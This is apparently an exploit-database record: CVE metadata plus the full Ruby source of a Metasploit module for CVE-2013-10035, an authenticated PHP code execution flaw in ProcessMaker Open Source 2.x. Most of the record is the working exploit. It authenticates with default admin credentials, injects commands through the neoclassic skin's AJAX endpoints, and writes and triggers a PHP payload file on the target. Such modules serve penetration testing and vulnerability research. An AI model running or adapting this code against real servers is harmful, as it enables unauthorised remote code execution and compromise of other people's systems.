{"exploit":{"id":"MSF-multi--http--processmaker_exec","name":"ProcessMaker Open Source Authenticated PHP Code Execution","description":"This module exploits a PHP code execution vulnerability in the 'neoclassic' skin for ProcessMaker Open Source which allows any authenticated user to execute PHP code. The vulnerable skin is installed by default in version 2.x and cannot be removed via the web interface.","cves":["CVE-2013-10035"],"author":"bcoles","published":"2013-10-24","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/processmaker_exec.rb","path":"modules/exploits/multi/http/processmaker_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"processmaker_exec.rb","vulnerabilities":[{"id":"CVE-2013-10035","state":"PUBLISHED","title":"ProcessMaker Open Source < 2.5.2 neoclassic Skin PHP Code Execution","titleSource":"CVE Program","description":"A code injection vulnerability exists in ProcessMaker Open Source versions 2.x when using the default 'neoclassic' skin. An authenticated user can execute arbitrary PHP code via multiple endpoints, including appFolderAjax.php, casesStartPage_Ajax.php, and cases_SchedulerGetPlugins.php, by supplying crafted POST requests to parameters such as action and params. These endpoints fail to validate user input and directly invoke PHP functions like system() with user-supplied parameters, enabling remote code execution. The vulnerability affects both Linux and Windows installations and is present in default configurations of versions including 2.0.23 through 2.5.1. The vulnerable skin cannot be removed through the web interface, and exploitation requires only valid user credentials.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-10035","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-10035"},"updatedAt":"2026-05-14T02:06:13.524Z","retrievedAt":"2026-11-26T11:54:03.886Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--processmaker_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--processmaker_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--processmaker_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--processmaker_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"ProcessMaker Open Source Authenticated PHP Code Execution\",\n        'Description' => %q{\n          This module exploits a PHP code execution vulnerability in the\n          'neoclassic' skin for ProcessMaker Open Source which allows any\n          authenticated user to execute PHP code. The vulnerable skin is\n          installed by default in version 2.x and cannot be removed via\n          the web interface.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'bcoles',\n        'References' => [\n          ['CVE', '2013-10035'],\n          ['OSVDB', '99199'],\n          ['BID', '63411'],\n          ['URL', 'http://bugs.processmaker.com/view.php?id=13436']\n        ],\n        'Payload' => {\n          'Space' => 8190, # HTTP POST\n          'DisableNops' => true,\n          'BadChars' => \"\\x00\"\n        },\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          # Tested on:\n          # * Windows XP SP3 - ProcessMaker Open Source version 2.5.1, 2.5.0, 2.0.23\n          # * Debian Linux   - ProcessMaker Open Source version 2.0.45\n          ['ProcessMaker Open Source 2.x (PHP Payload)', { 'auto' => true }]\n        ],\n        'Privileged' => false, # Privileged on Windows but not on *nix targets\n        'DisclosureDate' => '2013-10-24',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),\n        OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),\n        OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])\n      ]\n    )\n  end\n\n  #\n  # Send command for execution\n  #\n  def execute_command(cmd, opts = { :php_function => 'system' })\n    # random vulnerable path # confirmed in versions 2.0.23 to 2.5.1\n    vuln_url = [\n      \"/sys#{@workspace}/en/neoclassic/appFolder/appFolderAjax.php\",\n      \"/sys#{@workspace}/en/neoclassic/cases/casesStartPage_Ajax.php\",\n      \"/sys#{@workspace}/en/neoclassic/cases/cases_SchedulerGetPlugins.php\"\n    ].sample\n\n    # shuffle POST parameters\n    vars_post = Hash[{\n      'action' => opts[:php_function],\n      'params' => cmd\n    }.to_a.shuffle]\n\n    # send payload\n    vprint_status(\"Attempting to execute: #{cmd}\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, vuln_url),\n      'cookie' => @cookie,\n      'vars_post' => vars_post\n    })\n    res\n  end\n\n  #\n  # Login\n  #\n  def login(user, pass)\n    # shuffle POST parameters\n    vars_post = Hash[{\n      'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),\n      'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal'),\n    }.to_a.shuffle]\n\n    # send login request\n    print_status(\"Authenticating as user '#{user}'\")\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, \"/sys#{@workspace}/en/neoclassic/login/authentication.php\"),\n        'cookie' => @cookie,\n        'vars_post' => vars_post\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\n      print_error(\"Connection failed\")\n      return false\n    end\n    if res and res.code == 200 and res.body =~ /Loading styles and images/\n      print_good(\"Authenticated as user '#{user}'\")\n      return true\n    else\n      print_error(\"Authenticating as user '#{user}' failed\")\n      return false\n    end\n  end\n\n  #\n  # Check credentials are valid and confirm command execution\n  #\n  def check\n    @workspace = datastore['WORKSPACE']\n\n    # login\n    @cookie = \"PHPSESSID=#{rand_text_alphanumeric(rand(10) + 10)};\"\n    unless login(datastore['USERNAME'], datastore['PASSWORD'])\n      return Exploit::CheckCode::Unknown('Could not authenticate to the target')\n    end\n\n    # send check\n    fingerprint = Rex::Text.rand_text_alphanumeric(rand(10) + 10)\n    vprint_status(\"Sending check\")\n    begin\n      res = execute_command(\"echo #{fingerprint}\")\n      if res and res.body =~ /#{fingerprint}/\n        return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n      elsif res\n        return Exploit::CheckCode::Safe('The target is not vulnerable')\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\n      vprint_error(\"Connection failed\")\n      return Exploit::CheckCode::Unknown('Could not connect to the target')\n    end\n    Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  #\n  # Write payload to filesystem\n  #\n  def upload\n    # Random PHP function for command execution\n    php_function = [\n      'exec',\n      'shell_exec',\n      'passthru',\n      'system'\n    ].sample\n\n    # upload payload\n    code = \"<?php #{payload.encoded} ?>\"\n    print_status(\"Sending payload '#{@fname}' (#{code.length} bytes)\")\n    begin\n      res = execute_command(\"echo \\\"#{code}\\\">#{@fname}\", { :php_function => php_function })\n      if res and res.code == 200\n        print_good(\"Payload sent successfully\")\n        register_files_for_cleanup(@fname)\n      else\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Sending payload failed\")\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\n      fail_with(Failure::Unreachable, \"#{peer} - Connection failed\")\n    end\n  end\n\n  def exploit\n    @workspace = datastore['WORKSPACE']\n\n    # login\n    @cookie = \"PHPSESSID=#{rand_text_alphanumeric(rand(10) + 10)};\"\n    unless login(datastore['USERNAME'], datastore['PASSWORD'])\n      fail_with(Failure::NoAccess, \"#{peer} - Authentication failed\")\n    end\n\n    # upload payload\n    @fname = \"#{rand_text_alphanumeric(rand(10) + 10)}.php\"\n    upload\n\n    # execute payload\n    print_status(\"Retrieving file '#{@fname}'\")\n    send_request_cgi({ 'uri' => normalize_uri(target_uri.path, \"#{@fname}\") })\n  end\nend\n","sha256":"8ac2c64c27a882d33aa1fba9d4bc2f589db969710855099dc72aaefaedd6509e","bytes":6492,"fetchedAt":"2026-11-26T11:54:03.778Z","encoding":"utf-8 (display only; download retains original bytes)"}